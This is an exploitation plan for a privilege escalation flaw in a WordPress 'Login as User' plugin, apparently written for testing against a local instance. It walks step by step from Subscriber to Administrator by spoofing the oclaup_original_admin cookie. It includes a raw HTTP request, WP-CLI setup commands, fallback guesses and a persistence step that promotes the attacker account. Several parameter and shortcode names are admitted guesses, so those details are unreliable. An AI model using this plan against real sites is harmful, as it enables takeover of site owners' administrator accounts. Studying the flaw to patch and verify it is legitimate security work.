Exploitation Research Plan: CVE-2026-5617 - Privilege Escalation in "Login as User"

1. Vulnerability Summary

The Login as User – Switch User & WooCommerce Login as Customer plugin (version <= 1.0.3) is vulnerable to privilege escalation. The plugin provides a "Login as User" feature for administrators. When an administrator switches to another user, the plugin stores the original administrator's ID in a client-side cookie named oclaup_original_admin.

The vulnerability exists in the handle_return_to_admin() function, which is responsible for switching the session back to the administrator. This function trusts the value of the oclaup_original_admin cookie without verifying that a legitimate user-switching session was ever initiated by an actual administrator. An attacker with Subscriber-level access can manually set this cookie to an administrator's ID and trigger the "Return to Admin" routine to gain full administrative access.

2. Attack Vector Analysis

• Endpoint: Any WordPress URL (the function is likely hooked to init or admin_init).
• Vulnerable Parameter: $_COOKIE['oclaup_original_admin']
• Trigger Parameter: A GET parameter (inferred: oclaup-return-to-admin or similar) that invokes the return logic.
• Authentication: Required (Subscriber or higher).
• Preconditions: The attacker must know the User ID of an administrator (standard is 1).

3. Code Flow (Inferred)

1. Entry Point: The plugin registers a hook:
   add_action('init', 'handle_return_to_admin') (inferred).
2. Trigger Check: handle_return_to_admin() checks if a specific GET parameter is present in the request (e.g., $_GET['oclaup-return-to-admin']).
3. Vulnerable Sink: If the trigger is present, the function:
   • Reads $admin_id = $_COOKIE['oclaup_original_admin'].
   • Calls wp_set_current_user($admin_id).
   • Calls wp_set_auth_cookie($admin_id).
   • Redirects the user to the WordPress dashboard (admin_url()).
4. Failure Point: There is no server-side check (e.g., a signed token or a database-backed session) to verify that the current user was actually switched from that administrator ID.

4. Nonce Acquisition Strategy

The vulnerability description explicitly states the plugin "trusts a client-controlled cookie ... without any server-side verification." This suggests that even if a nonce is used to generate the "Return to Admin" link in the UI, the back-end handler handle_return_to_admin() likely fails to validate it, or the nonce is not required for the transition.

If a nonce is required:

1. Identify Triggering Shortcode: Check for shortcodes that render the "Return to Admin" bar.
2. Page Creation: wp post create --post_type=page --post_status=publish --post_content='[one_click_login_as_user_return_bar]' (inferred shortcode).
3. Extraction:
   • Navigate to the page as the Subscriber.
   • browser_eval("window.oclaup_data?.return_nonce") (inferred JS variable).

Note: For this specific vulnerability, the exploit likely proceeds by simply providing the cookie and the trigger GET parameter.

5. Exploitation Strategy

The goal is to escalate from Subscriber to Administrator by spoofing the "return" process.

Step-by-Step Plan:

1. Login: Authenticate as a Subscriber user via http_request.
2. Identify Admin ID: Assume Admin ID is 1 (standard for the first user).
3. Prepare Payload:
   • Cookie: oclaup_original_admin=1
   • GET Trigger: ?oclaup-return-to-admin=1 (This parameter name is based on the plugin slug one-click-login-as-user).
4. Execute Request:
   • Send a GET request to the WordPress home page with the trigger parameter.
   • Include the Subscriber's session cookies AND the spoofed oclaup_original_admin cookie.
5. Capture Redirect: Follow the redirect or check the response headers for new wordpress_logged_in_* cookies that correspond to the Admin user.

Primary HTTP Request:

GET /?oclaup-return-to-admin=1 HTTP/1.1
Host: localhost:8080
Cookie: wordpress_logged_in_[HASH]=[Subscriber_Cookie]; oclaup_original_admin=1

6. Test Data Setup

1. Users:
   • Ensure an administrator exists (User ID 1).
   • Create a Subscriber user: wp user create attacker attacker@example.com --role=subscriber --user_pass=password123.
2. Plugin Configuration:
   • Activate the plugin: wp plugin activate one-click-login-as-user.
   • No specific settings are typically required to enable the "return" functionality as it is a core part of the user-switching flow.

7. Expected Results

• The server should respond with a 302 Found redirect to /wp-admin/.
• The response headers (Set-Cookie) should contain new authentication cookies for User ID 1.
• The Subscriber's session is effectively replaced by an Administrator's session.

8. Verification Steps

1. Check Current User via CLI: After the HTTP request, verify the session. Since CLI and HTTP sessions differ, verify by making a follow-up request to /wp-admin/index.php using the cookies received from the exploit.
2. Verify Permissions:

   # Use the captured admin cookies to try an admin-only action
   # (Example: listing plugins via AJAX or visiting settings)
   

3. WP-CLI State Check:
   Check if any options were changed or if the attacker's account role was modified (though this exploit usually provides a session, not a permanent role change unless the attacker then uses the admin session to change their own role).

9. Alternative Approaches

• Trigger Parameter Guessing: If oclaup-return-to-admin fails, search the plugin source (e.g., grep -r "_GET" .) for other parameters used in the init or admin_init hooks.
• Cookie Name Variation: If oclaup_original_admin is incorrect, check for variations like oclaup_admin_id or switch_user_back.
• Role Change: Once the Admin session is obtained, immediately use it to promote the Subscriber account to Administrator to ensure persistent access:
  POST /wp-admin/user-edit.php with role=administrator.